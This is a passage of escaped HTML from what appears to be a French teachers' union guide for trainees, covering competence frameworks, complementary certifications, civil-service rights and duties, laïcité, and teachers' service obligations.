comp\u00e9tences professionnelles que les psychologues de l\u2019\u00c9N doivent ma\u00eetriser en fonction de leur sp\u00e9cialit\u00e9.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le principe<\/h4>\n<p>Un r\u00e9f\u00e9rentiel de comp\u00e9tences permet, dans une certaine mesure, de d\u00e9crire et de structurer l\u2019activit\u00e9 professionnelle pour la rendre \u00e9valuable. C\u2019est donc un outil. Il ne doit pas devenir la d\u00e9finition de nos m\u00e9tiers. Ces derniers sont d\u00e9finis par nos statuts. Ce r\u00e9f\u00e9rentiel produit beaucoup de formalisme, par un d\u00e9coupage de t\u00e2ches globales en t\u00e2ches simples voire simplistes, loin du c\u0153ur du m\u00e9tier.<\/p>\n<p>La complexit\u00e9 de nos m\u00e9tiers est mal appr\u00e9hend\u00e9e dans un tel processus : seules des comp\u00e9tences imm\u00e9diatement \u00e9valuables seront mises en avant, et on risque d\u2019aboutir \u00e0 la mise en place de \u00ab bonnes pratiques\u00a0\u00bb.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le contenu<\/h4>\n<p>Sont d\u00e9clin\u00e9es quatorze comp\u00e9tences communes \u00e0 tous les professeurs et CPE, cinq comp\u00e9tences sp\u00e9cifiques aux professeurs hors professeurs documentalistes qui ont quatre comp\u00e9tences propres et enfin huit comp\u00e9tences sp\u00e9cifiques au m\u00e9tier de CPE. Alors qu\u2019il fait r\u00e9f\u00e9rence pour \u00e9laborer les contenus de formation et pour la validation de l\u2019ann\u00e9e de stage en vue de la titularisation, ce r\u00e9f\u00e9rentiel regroupe les comp\u00e9tences que vont acqu\u00e9rir le professeur et le CPE tout au long de sa carri\u00e8re. C\u2019est pourquoi, gr\u00e2ce \u00e0 l\u2019action syndicale, le minist\u00e8re a publi\u00e9 dans la NS 2015-055, fiche 14, un outil d\u2019accompagnement d\u00e9crivant les diff\u00e9rents degr\u00e9s d\u2019acquisition des comp\u00e9tences \u00e0 l\u2019entr\u00e9e dans le m\u00e9tier.<\/p>\n<p>Pour les psychologues, le r\u00e9f\u00e9rentiel d\u00e9finit des comp\u00e9tences communes aux deux sp\u00e9cialit\u00e9s ainsi que des comp\u00e9tences particuli\u00e8res selon le niveau o\u00f9 ils exercent (premier ou second degr\u00e9). Consultez le chapitre 3 de ce m\u00e9mo pour conna\u00eetre les modalit\u00e9s d\u2019\u00e9valuation et de titularisation.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Au-del\u00e0 d\u2019un r\u00e9el cadrage de la formation, nous exigeons qu\u2019elle soit d\u00e9barrass\u00e9e de ses aspects infantilisants et construite pour former des enseignants, CPE et Psy-\u00c9N concepteurs de leurs pratiques.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-5\"><\/a><em>Langues et informatique<\/em><\/h3>\n<p>Depuis 2013, suite \u00e0 une bataille syndicale men\u00e9e par la seule FSU, le CLES et le C2i2e ne sont plus exig\u00e9s pour la titularisation.<\/p>\n<p>Les stagiaires issus des concours depuis la session 2014 ont simplement besoin d\u2019avoir le master, qui int\u00e8gre des UE de langue vivante. Il faut cependant \u00eatre tr\u00e8s vigilant : certaines universit\u00e9s imposent d\u2019obtenir une certification en langue vivante d\u2019un niveau \u00e9lev\u00e9 (CLES, TOIC) au sein du master. Ne pas obtenir cette certification implique un \u00e9chec au master.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-6\"><\/a><em>Les certifications compl\u00e9mentaires<\/em><\/h3>\n<p class=\"has-black-color has-text-color\">L\u2019<a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/id\/LEGITEXT000005763451\/2018-09-17\/\">arr\u00eat\u00e9 du 23\u00a0d\u00e9cembre 2003<\/a> modifi\u00e9 en\u00a02006,\u00a02009 et 2018 d\u00e9taille les conditions d\u2019attribution aux personnels enseignants des premier et second degr\u00e9s d\u2019une certification compl\u00e9mentaire dans certains \u00adsecteurs disciplinaires. Elles permettent de faire reconna\u00eetre une aptitude suppl\u00e9mentaire ne relevant pas de leur concours. Les enseignants stagiaires peuvent passer ces certifications.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>Secteurs disciplinaires concern\u00e9s<\/strong><\/h4>\n<p>Plusieurs secteurs existent : le fran\u00e7ais langue seconde (FLS), les arts (cin\u00e9ma et audiovisuel ; danse ; histoire de l\u2019art ; th\u00e9\u00e2tre), l\u2019enseignement en langue \u00e9trang\u00e8re dans une discipline non linguistique (DNL), l\u2019enseignement en langue des signes fran\u00e7aise (LSF), les langues et \u00adcultures de l\u2019Antiquit\u00e9 (LCA).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Inscription<\/h4>\n<p>L\u2019examen comporte une session annuelle dont la date est fix\u00e9e par le recteur d\u2019acad\u00e9mie ou le directeur du SIEC (Service interacad\u00e9mique des examens et concours) en \u00cele-de-France, aupr\u00e8s desquels s\u2019effectue l\u2019inscription. Les candidats doivent d\u00e9poser un rapport pr\u00e9cisant les titres et dipl\u00f4mes obtenus (en rapport avec le secteur disciplinaire choisi), les stages, les \u00e9changes, les travaux personnels effectu\u00e9s \u00e0 titre personnel ou professionnel.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Le jury d\u2019examen<\/h4>\n<p>Les certifications compl\u00e9mentaires sont d\u00e9livr\u00e9es \u00e0 la suite d\u2019un examen constitu\u00e9 d\u2019une \u00e9preuve orale, jug\u00e9e par un jury acad\u00e9mique nomm\u00e9 par le recteur pour chacun des secteurs disciplinaires. Ce jury comprend au moins un IA-IPR qui en est le pr\u00e9sident, des membres choisis parmi les inspecteurs de l\u2019\u00c9ducation nationale, les corps de personnels enseignants et les enseignants-chercheurs. Des personnes \u00adn\u2019appartenant pas aux corps pr\u00e9c\u00e9demment cit\u00e9s peuvent aussi \u00eatre choisies en raison de leurs comp\u00e9tences particuli\u00e8res. Les rapports des jurys sont consultables sur les sites Internet des rectorats et du SIEC.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>L\u2019\u00e9preuve orale<\/strong><\/h4>\n<p>L\u2019\u00e9preuve orale dure 30 minutes maximum. Elle d\u00e9bute par un expos\u00e9 du candidat, pendant une dur\u00e9e de dix minutes maximum, prenant appui sur la formation universitaire ou professionnelle re\u00e7ue dans une universit\u00e9, ou dans un autre lieu de formation dans le secteur disciplinaire et dans l\u2019option correspondant \u00e0 la certification compl\u00e9mentaire choisie. Le candidat peut \u00e9galement faire \u00e9tat de son exp\u00e9rience et de ses pratiques personnelles, dans le domaine de l\u2019enseignement ou dans un autre domaine, notamment \u00e0 l\u2019occasion de stages, d\u2019\u00e9changes, de travaux ou de r\u00e9alisations effectu\u00e9s \u00e0 titre professionnel ou personnel.<\/p>\n<p>Cet expos\u00e9 est suivi d\u2019un entretien avec le jury, d\u2019une dur\u00e9e de vingt minutes maximum, dont l\u2019objet est d\u2019appr\u00e9cier les connaissances du candidat concernant les contenus d\u2019enseignement, les programmes et les principes essentiels touchant \u00e0 l\u2019organisation du secteur disciplinaire et \u00e0 l\u2019option correspondant \u00e0 la certification compl\u00e9mentaire choisie, et d\u2019estimer ses capacit\u00e9s de conception et d\u2019implication dans la mise en \u0153uvre, au sein de l\u2019\u00e9tablissement scolaire du second degr\u00e9, d\u2019enseignements ou d\u2019activit\u00e9s en rapport avec ce secteur.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>L\u2019admission<\/strong><\/h4>\n<p>Sont admis les candidats ayant re\u00e7u une note sup\u00e9rieure ou \u00e9gale \u00e0 10. La certification est d\u00e9livr\u00e9e par le recteur.<\/p>\n<p>Si vous n\u2019\u00eates pas titularis\u00e9, vous perdez le b\u00e9n\u00e9fice de cette certification.<\/p>\n<p>Si vous \u00eates autoris\u00e9 \u00e0 renouveler votre ann\u00e9e de stage, vous conservez le b\u00e9n\u00e9fice de l\u2019admission \u00e0 l\u2019examen sauf si vous n\u2019\u00eates pas titularis\u00e9 \u00e0 l\u2019issue de votre renouvellement.<\/p>\n<h2><a name=\"menu-7\"><\/a><strong>Chapitre 2<\/strong> \u2013 <strong>Nos m\u00e9tiers de professeur, de CPE, de Psy-\u00c9N<\/strong><\/h2>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-8\"><\/a><strong><em>\u00catre fonctionnaire de la fonction publique d\u2019\u00c9tat<\/em><\/strong><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>Fonctionnaire de cat\u00e9gorie A<\/strong><\/h4>\n<p>Les fonctionnaires sont class\u00e9s en trois grandes cat\u00e9gories, selon leur niveau de recrutement : cat\u00e9gorie A avec licence minimum ou titre \u00e9quivalent ; cat\u00e9gorie B avec le baccalaur\u00e9at ; cat\u00e9gorie C avec un dipl\u00f4me inf\u00e9rieur ou sans dipl\u00f4me. Les corps : professeur certifi\u00e9, professeur agr\u00e9g\u00e9, PLP, CPE, PEPS, Psy-\u00c9N appartiennent \u00e0 la cat\u00e9gorie A. Ces corps comprennent, depuis la rentr\u00e9e 2017, trois grades : classe normale et, accessibles en fin de carri\u00e8re, hors-classe puis classe exceptionnelle.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>Le statut g\u00e9n\u00e9ral des fonctionnaires<\/strong><\/h4>\n<p>Il conf\u00e8re aux personnels des garanties ET des obligations li\u00e9es \u00e0 leurs missions de service public. Les statuts particuliers des professeurs, CPE et Psy-\u00c9N organisent la d\u00e9clinaison de ces r\u00e8gles compte tenu de leurs missions propres.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>L\u2019\u00e9laboration d\u2019un statut en 1946 au lendemain de la Lib\u00e9ration correspondait \u00e0 cette id\u00e9e que la finalit\u00e9 de la Fonction publique \u2013 rendre effective l\u2019\u00e9galit\u00e9 en assurant sur tout le territoire l\u2019ensemble des missions \u2013 impliquait de soumettre le fonctionnaire \u00e0 des r\u00e8gles distinctes de celles applicables aux salari\u00e9s du commerce et de l\u2019industrie, de le garantir contre l\u2019arbitraire et le r\u00e9gime de faveur, de lui permettre l\u2019exercice de ses fonctions dans le seul int\u00e9r\u00eat du service, \u00e0 l\u2019abri de toute pression, d\u2019o\u00f9 la particularit\u00e9 du r\u00e9gime applicable aux agents publics. La volont\u00e9 du gouvernement, inscrite dans la loi de transformation de la Fonction publique 2019-828 d\u2019augmenter le recrutement de contractuels, va \u00e0 l\u2019encontre de ces orientations. Nos syndicats continuent de d\u00e9fendre le recrutement de fonctionnaires sur les emplois p\u00e9rennes et des r\u00e8gles nationales pour l\u2019ensemble des fonctionnaires.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h5 class=\"has-vivid-red-color has-text-color\"><strong>Garanties g\u00e9n\u00e9rales des fonctionnaires :<\/strong><\/h5>\n<p>\u2022 libert\u00e9 d\u2019opinion ;<\/p>\n<p>\u2022 pas de discrimination en fonction du sexe, de l\u2019\u00e9tat de sant\u00e9, d\u2019un handicap, d\u2019une \u00ab\u00a0appartenance ethnique\u00a0\u00bb ou de l\u2019orientation sexuelle ;<\/p>\n<p>\u2022 garantie du droit syndical et du droit de gr\u00e8ve ;<\/p>\n<p>\u2022 en cas de suppression de son poste, le fonctionnaire en retrouve un \u00adnouveau ;<\/p>\n<p>\u2022 aucune sanction disciplinaire (sauf avertissement et bl\u00e2me) ne peut \u00eatre prononc\u00e9e sans consultation pr\u00e9alable d\u2019un organisme paritaire ;<\/p>\n<p>\u2022 garantie d\u2019une protection organis\u00e9e par la collectivit\u00e9 publique dont ils d\u00e9pendent.<\/p>\n<p>Sauf en cas de \u00ab\u00a0faute personnelle d\u00e9tachable de l\u2019exercice de ses fonctions\u00a0\u00bb, un fonctionnaire ne fait pas l\u2019objet de condamnations civiles. Par ailleurs, l\u2019administration est \u00ab\u00a0tenue de prot\u00e9ger le fonctionnaire contre les atteintes volontaires \u00e0 l\u2019int\u00e9grit\u00e9 de la personne, violences, les agissements constitutifs de harc\u00e8lement, les menaces, les injures, les diffamations ou les outrages dont il pourrait \u00eatre victime sans qu\u2019aucune faute personnelle puisse lui \u00eatre imput\u00e9e. Elle est tenue de r\u00e9parer, le cas \u00e9ch\u00e9ant, le pr\u00e9judice qui en est r\u00e9sult\u00e9\u00a0\u00bb (art. 11 de la <a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/article_lc\/LEGIARTI000037313626\/\">loi n\u00b0 83-634 du 13\u00a0juillet 1983<\/a>).<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Les situations d\u2019atteinte \u00e0 la vie priv\u00e9e, de violence ou d\u2019agression se multiplient. Outre les actions collectives et solidaires \u00e0 l\u2019int\u00e9rieur de l\u2019\u00e9tablissement, les demandes de sanction, il ne faut pas h\u00e9siter \u00e0 porter plainte et \u00e0 demander \u00e0 l\u2019administration la protection qu\u2019elle doit, de par la loi, \u00e0 ses agents. Ne pas rester seul(e), obliger la hi\u00e9rarchie \u00e0 prendre ses responsabilit\u00e9s, l\u2019obliger \u00e0 tenir ses engagements de protection, formuler collectivement des demandes de moyens, avec l\u2019appui syndical, peut permettre de faire face \u00e0 des situations difficiles.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h5 class=\"has-vivid-red-color has-text-color\"><strong>Obligations g\u00e9n\u00e9rales des fonctionnaires :<\/strong><\/h5>\n<p>\u2022 exercer ses fonctions avec dignit\u00e9, impartialit\u00e9, int\u00e9grit\u00e9 et probit\u00e9 ;<\/p>\n<p>\u2022 respect de la la\u00efcit\u00e9 et obligation de neutralit\u00e9 ;<\/p>\n<p>\u2022 n\u2019exercer aucune activit\u00e9 priv\u00e9e lucrative (sauf d\u00e9rogations ou cas tr\u00e8s particuliers) ;<\/p>\n<p>\u2022 discr\u00e9tion professionnelle ;<\/p>\n<p>\u2022 satisfaire aux demandes d\u2019information du public ;<\/p>\n<p>\u2022 responsabilit\u00e9 de l\u2019ex\u00e9cution des t\u00e2ches qui lui sont confi\u00e9es.<\/p>\n<p>Un fonctionnaire peut \u00eatre soumis \u00e0 une sanction disciplinaire et suspendu en cas de faute grave.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>LE FONCTIONNAIRE d\u2019\u00c9tat<\/strong><\/h4>\n<p>Sa formation, son recrutement, sa nomination, la gestion de sa carri\u00e8re et son salaire d\u00e9pendent de l\u2019\u00c9tat.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>La la\u00efcit\u00e9<\/strong><\/h4>\n<p>\u00catre fonctionnaire c\u2019est garantir un service public respectueux des principes r\u00e9publicains. La la\u00efcit\u00e9 de l\u2019\u00c9tat est l\u2019un des fondements de la R\u00e9publique. Elle est fond\u00e9e sur la s\u00e9paration des \u00c9glises et de l\u2019\u00c9tat (loi de 1905), la stricte neutralit\u00e9 de l\u2019\u00c9tat en mati\u00e8re religieuse. Elle garantit la libert\u00e9 absolue de conscience \u00e0 tous.<\/p>\n<p>L\u2019\u00c9cole, parce qu\u2019elle est ouverte \u00e0 tous, parce qu\u2019elle est un espace de formation, de construction du libre arbitre, de d\u00e9veloppement de l\u2019esprit critique, dispose \u00e0 juste titre de r\u00e8gles plus strictes quant aux possibilit\u00e9s d\u2019y exprimer des convictions religieuses.<\/p>\n<p>Comme pour tous les agents publics, la loi impose aux personnels des \u00e9tablissements scolaires publics et la\u00efques, un devoir de stricte neutralit\u00e9, religieuse, politique mais aussi commerciale dans l\u2019exercice de leurs missions.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Nous sommes tr\u00e8s attach\u00e9s \u00e0 la la\u00efcit\u00e9 qui ambitionne de former des citoyens \u00e9clair\u00e9s et autonomes dans leurs choix.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-9\"><\/a><strong><em>Des m\u00e9tiers vivants, qui se r\u00e9inventent au quotidien, contre vents et mar\u00e9es<\/em><\/strong><\/h3>\n<p>Augmentation du temps de travail, confusion des missions (ex. : demander aux professeurs principaux de faire des entretiens d\u2019orientation), injonctions r\u00e9currentes \u00e0 l\u2019innovation p\u00e9dagogique, nouvelles formes de management : tout cela se traduit par une crise de r\u00e9alisation du travail, qui atteint des secteurs entiers du monde salarial. Les injonctions et les prescriptions s\u2019accumulent, notamment dans la mise en \u0153uvre d\u2019enseignements interdisciplinaires, de co-intervention ou de programmes infaisables, parfois de fa\u00e7on contradictoire et traduisent souvent une ignorance de ce que \u00ab faire du bon travail\u00a0\u00bb veut dire. Les r\u00e9formes et les nouvelles t\u00e2ches entra\u00eenent un changement brutal et sans r\u00e9flexion des pratiques et partent de l\u2019id\u00e9e fausse, comme le montrent les recherches sur le sujet, que \u00ab\u00a0travailler c\u2019est appliquer\u00a0\u00bb. Nous exer\u00e7ons, au contraire, des m\u00e9tiers de conception, qui exigent de mettre \u00e0 sa main les prescriptions, de trancher au quotidien les dilemmes qui surgissent dans l\u2019exercice de son activit\u00e9.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>La d\u00e9fense des personnels Nous agissons pour que tous les personnels soient respect\u00e9s dans leurs m\u00e9tiers, leurs qualifications et leurs droits dans les instances o\u00f9 nous si\u00e9geons en tant qu\u2019\u00e9lus majoritaires les repr\u00e9sentant, mais aussi quotidiennement en contactant les services rectoraux et minist\u00e9riels concern\u00e9s.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-10\"><\/a><strong><em>Le m\u00e9tier DE PROFESSEUR<\/em><\/strong><\/h3>\n<p><strong>Les professeurs certifi\u00e9s et agr\u00e9g\u00e9s<\/strong> sont charg\u00e9s d\u2019assurer principalement un service d\u2019enseignement dans les coll\u00e8ges et les lyc\u00e9es g\u00e9n\u00e9raux et technologiques. Leur service est d\u00e9fini de fa\u00e7on hebdomadaire en heures d\u2019enseignement (certifi\u00e9s 18\u00a0heures, agr\u00e9g\u00e9s hors EPS 15\u00a0heures). Ils participent aussi au suivi et \u00e0 l\u2019orientation des \u00e9l\u00e8ves. Une part importante du travail s\u2019effectue en dehors de la pr\u00e9sence des \u00e9l\u00e8ves (pr\u00e9paration, correction, relations avec les parents d\u2019\u00e9l\u00e8ves\u2026).<\/p>\n<p>Situation particuli\u00e8re des professeurs documentalistes : leur service hebdomadaire est d\u00e9fini en heures d\u2019information et de \u00addocumentation. Ils peuvent effectuer des heures d\u2019enseignement qui sont alors d\u00e9compt\u00e9es (2 heures dans leur temps de service pour chaque heure d\u2019enseignement).<\/p>\n<p><strong>Les professeurs et agr\u00e9g\u00e9s d\u2019EPS<\/strong> sont charg\u00e9s d\u2019assurer, d\u2019une part, un service d\u2019enseignement (17\u00a0heures ou 14 heures) uniquement dans leur discipline et, d\u2019autre part, un forfait de 3\u00a0heures consacr\u00e9 \u00e0 l\u2019animation sportive, soit un service total de 20\u00a0heures (PEPS) ou 17\u00a0heures (agr\u00e9g\u00e9s d\u2019EPS). Leur service est d\u00e9fini de fa\u00e7on hebdomadaire en heures de cours devant \u00e9l\u00e8ves et par le forfait UNSS, mais comme les autres professeurs, ils sont aussi tenus de participer au suivi et \u00e0 l\u2019orientation des \u00e9l\u00e8ves et une part importante de leur travail s\u2019effectue en dehors de la pr\u00e9sence des \u00e9l\u00e8ves (pr\u00e9paration, correction\u2026). Le service de 3\u00a0heures d\u2019UNSS a \u00e9t\u00e9 r\u00e9affirm\u00e9 dans le d\u00e9cret n\u00b0\u00a02014-460 du 7\u00a0mai 2014 relatif \u00e0 la participation des enseignants d\u2019\u00e9ducation physique et sportive aux activit\u00e9s sportives scolaires volontaires des \u00e9l\u00e8ves paru au Journal officiel du 10 mai 2014.<\/p>\n<p>L\u2019UNSS est un formidable outil de d\u00e9mocratisation du sport et des activit\u00e9s physiques sportives et artistiques (1\u00a0million d\u2019\u00e9l\u00e8ves du second degr\u00e9 licenci\u00e9s), c\u2019est la premi\u00e8re f\u00e9d\u00e9ration f\u00e9minine (40\u00a0% des licenci\u00e9s). Vous comprendrez pourquoi les professeurs et agr\u00e9g\u00e9s d\u2019EPS tiennent \u00e0 leur association sportive et donc \u00e0 leur statut particulier int\u00e9grant le forfait pour l\u2019animation du sport scolaire. Pour ces raisons, ils sont attach\u00e9s \u00e0 ce que le mercredi apr\u00e8s-midi soit lib\u00e9r\u00e9 pour les \u00e9l\u00e8ves afin de permettre \u00e0 tous les \u00e9l\u00e8ves de participer aux rencontres inter-\u00e9tablissements. L\u2019AS est aussi l\u2019occasion de d\u00e9velopper la mixit\u00e9 fille\/gar\u00e7on, la mixit\u00e9 sociale, la prise de responsabilit\u00e9 dans les r\u00f4les de juges, d\u2019arbitres, d\u2019organisateurs\u2026 \u00ab jeunes officiels \u00bb, v\u00e9ritable lieu d\u2019apprentissage de la vie associative.<\/p>\n<p><strong>Les professeurs des lyc\u00e9es professionnels<\/strong> sont charg\u00e9s d\u2019assurer principalement un service d\u2019enseignement dans les lyc\u00e9es professionnels (LP) ou SEP, en SEGPA ou en EREA. Ils exercent dans les classes ou divisions suivantes : Troisi\u00e8me pr\u00e9pa-m\u00e9tiers, Quatri\u00e8me et Troisi\u00e8me SEGPA, CAP et bac pro mais aussi dans les sections de BTS. Leur service est d\u00e9fini de fa\u00e7on hebdomadaire en heures de cours devant \u00e9l\u00e8ves (18\u00a0heures). Mais les PLP sont aussi tenus de participer au suivi et \u00e0 l\u2019orientation des \u00e9l\u00e8ves et une part importante de leur travail s\u2019effectue en dehors de la pr\u00e9sence des \u00e9l\u00e8ves (conception des CCF, suivi des \u00e9l\u00e8ves en stage\u2026).<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>Pense-b\u00eate pour la journ\u00e9e de pr\u00e9rentr\u00e9e dans l\u2019\u00e9tablissement<\/strong><\/h4>\n<p>Lors de la journ\u00e9e de pr\u00e9rentr\u00e9e, en g\u00e9n\u00e9ral, la direction de l\u2019\u00e9tablissement organise une r\u00e9union de l\u2019ensemble des personnels pr\u00e9sentant les effectifs, les r\u00e9sultats aux examens, les nouveaux personnels (donc les stagiaires), l\u2019organisation p\u00e9dagogique\u2026 ensuite, d\u2019autres r\u00e9unions s\u2019encha\u00eenent\u2026<\/p>\n<p>\u00c0 l\u2019issue de cette journ\u00e9e, veillez \u00e0 avoir sign\u00e9 votre PV (Proc\u00e8s verbal d\u2019installation, preuve que vous avez pris votre poste), r\u00e9cup\u00e9r\u00e9 votre emploi du temps, la date des premiers cours, les clefs pour ouvrir vos salles, les manuels utilis\u00e9s pour chaque niveau, le r\u00e8glement int\u00e9rieur et notamment comment noter les absences et les retards (Faut-il accepter les \u00e9l\u00e8ves et, si oui, y a-t-il des conditions : temps de retard, passage pr\u00e9alable \u00e0 la vie scolaire ?\u2026), le nom et les num\u00e9ros de t\u00e9l\u00e9phone des personnels de l\u2019administration, les jours et horaires d\u2019ouverture de l\u2019infirmerie, du CDI, les jours de pr\u00e9sence des Psy-\u00c9N, le plan de l\u2019\u00e9tablissement, la proc\u00e9dure d\u2019\u00e9vacuation en cas d\u2019alarme, etc. Renseignez-vous \u00e9galement sur la fa\u00e7on de g\u00e9rer les \u00e9l\u00e8ves (Faut-il aller les chercher dans la cour ? Doivent-ils se ranger devant la salle ? Y a-t-il des r\u00e8gles communes de gestion de classe ?). N\u2019oubliez pas l\u2019identifiant et le mot de passe pour acc\u00e9der aux ressources num\u00e9riques (ENT, r\u00e9seau\u2026). Demandez aussi une formation \u00e0 ces ressources si vous ne les connaissez pas. Identifiant et mot de passe sont des donn\u00e9es personnelles : vous \u00eates responsable de l\u2019usage qui en est fait. Enfin, renseignez-vous s\u2019il existe une liste de mat\u00e9riels d\u00e9j\u00e0 fournie aux \u00e9l\u00e8ves, comment faire les photocopies et, \u00e9ventuellement, comment s\u2019inscrire \u00e0 la cantine. Enfin, rencontrez les coll\u00e8gues CPE et professeurs-documentalistes et, si cela n\u2019a pas d\u00e9j\u00e0 \u00e9t\u00e9 fait avant, il faut \u00e9videmment vous pr\u00e9senter \u00e0 votre tuteur.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>Que faire lors du premier contact avec les \u00e9l\u00e8ves ?<\/strong><\/h4>\n<p>Faut-il faire un plan de classe ? Faire remplir une fiche individuelle ? Commencer le cours ? Comment se faire respecter ?<\/p>\n<p>Vous trouverez autant d\u2019avis que d\u2019enseignants sur ces questions ! En effet, le m\u00e9tier d\u2019enseignant ne peut \u00eatre livr\u00e9 \u00ab clefs en main \u00bb avec une liste exhaustive de soi-disant \u00ab bonnes pratiques \u00bb.<\/p>\n<p><strong>Comment d\u00e9terminer alors \u00ab SA \u00bb fa\u00e7on de faire ?<\/strong><\/p>\n<p>Vous avez s\u00fbrement une id\u00e9e propre, vous pouvez ensuite demander s\u2019il existe des r\u00e8gles communes dans l\u2019\u00e9tablissement, demander l\u2019avis de votre tuteur, de vos formateurs, des autres coll\u00e8gues, glaner des conseils sur Internet ou dans des livres\u2026 et ensuite mettre en place la pratique qui semble vous convenir le mieux.<\/p>\n<p>Il est important de v\u00e9rifier qu\u2019\u00e9l\u00e8ves et enseignants ont bien le m\u00eame emploi du temps avec les m\u00eames salles, expliquer certaines r\u00e8gles sp\u00e9cifiques \u00e0 votre discipline, donner la liste du mat\u00e9riel \u00e0 apporter dans vos cours.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\"><strong>Nos obligations de services<\/strong><\/h4>\n<p>Le <a href=\"https:\/\/www.legifrance.gouv.fr\/jorf\/id\/JORFTEXT000029390906\/\">d\u00e9cret 2014-940 du 20\u00a0ao\u00fbt 2014<\/a> d\u00e9finit les obligations de service des professeurs du second degr\u00e9 en reprenant les \u00e9l\u00e9ments fondateurs des d\u00e9crets de 1950 tout en donnant une vision plus compl\u00e8te du m\u00e9tier. Il distingue \u00e0 c\u00f4t\u00e9 du service d\u2019enseignement d\u00e9fini hebdomadairement dans le cadre d\u2019un maximum horaire, les missions qui y sont directement li\u00e9es. D\u2019autres missions, dites \u00ab\u00a0particuli\u00e8res\u00a0\u00bb, ne peuvent \u00eatre attribu\u00e9es \u00e0 un professeur qu\u2019avec son accord.<\/p>\n<p>En lyc\u00e9e professionnel et en EREA, la mise en place de dispositifs tels que la co-intervention, le chef-d\u2019\u0153uvre et l\u2019augmentation du volume de l\u2019accompagnement personnalis\u00e9, pr\u00e9vues d\u00e8s la rentr\u00e9e 2019, ne doivent pas ouvrir la porte \u00e0 l\u2019annualisation du temps de travail. En outre, chaque heure effectu\u00e9e, m\u00eame par deux enseignants, doit \u00eatre r\u00e9mun\u00e9r\u00e9e comme n\u2019importe quelle autre heure de cours. Il ne faut rien se laisser imposer !<\/p>\n<h5 class=\"has-vivid-red-color has-text-color\">Le cahier de texte num\u00e9rique de la classe<\/h5>\n<p>Depuis 2011, il remplace le cahier de texte papier dans tous les \u00e9tablissements. C\u2019est un document administratif qui rend compte, dans le respect des programmes et instructions officielles, du travail effectu\u00e9 en classe et de celui qui est donn\u00e9 \u00e0 faire aux \u00e9l\u00e8ves en dehors de l\u2019\u00e9tablissement (ces diff\u00e9rents \u00e9l\u00e9ments devraient \u00eatre \u00ab\u00a0accompagn\u00e9s de tout document, ressource ou conseil \u00e0 l\u2019initiative du professeur, sous forme de textes, de fichiers joints ou de liens \u00bb). Le cahier de textes \u00ab\u00a0doit \u00eatre \u00e0 la disposition des \u00e9l\u00e8ves et de leurs responsables l\u00e9gaux qui peuvent s\u2019y reporter \u00e0 tout moment\u00a0\u00bb. Il vise aussi \u00e0 assurer \u00ab la liaison entre les diff\u00e9rents utilisateurs\u00a0\u00bb et permettre \u00ab\u00a0en cas d\u2019absence ou de mutation d\u2019un professeur de m\u00e9nager une \u00e9troite continuit\u00e9 entre l\u2019enseignement du professeur et celui de son suppl\u00e9ant ou de son successeur \u00bb, mais ne peut en aucun cas \u00eatre accessible par tout le monde. Il ne remplace pas le cahier de texte personnel de l\u2019\u00e9l\u00e8ve.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>De nombreux probl\u00e8mes n\u2019ont pas \u00e9t\u00e9 anticip\u00e9s : ceux des droits d\u2019auteurs (extraits de textes, de livre ou de cahier d\u2019exercices, risque de diffusion des sujets aux autres classes, etc.), de l\u2019indigence de l\u2019\u00e9quipement informatique des \u00e9tablissements, de l\u2019acc\u00e8s et de la s\u00e9curisation des donn\u00e9es\u2026 Nous recommandons, en l\u2019\u00e9tat, de ne mettre que le strict minimum dans le CTN.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h5 class=\"has-vivid-red-color has-text-color\">L\u2019\u00e9valuation des \u00e9l\u00e8ves<\/h5>\n<p>L\u2019acte d\u2019\u00e9valuation ne se r\u00e9duit pas \u00e0 la notation. C\u2019est un acte complexe, quasi-quotidien pour les enseignants, qui fait partie int\u00e9grante de l\u2019acte d\u2019enseigner. Il comporte de nombreuses formes (formative, sommative, certificative, diagnostique\u2026).<\/p>\n<p>Ancr\u00e9e dans un processus d\u2019apprentissage, l\u2019\u00e9valuation est l\u2019occasion d\u2019un dialogue plus ou moins riche, plus ou moins codifi\u00e9, plus ou moins n\u00e9goci\u00e9 entre l\u2019\u00e9l\u00e8ve et 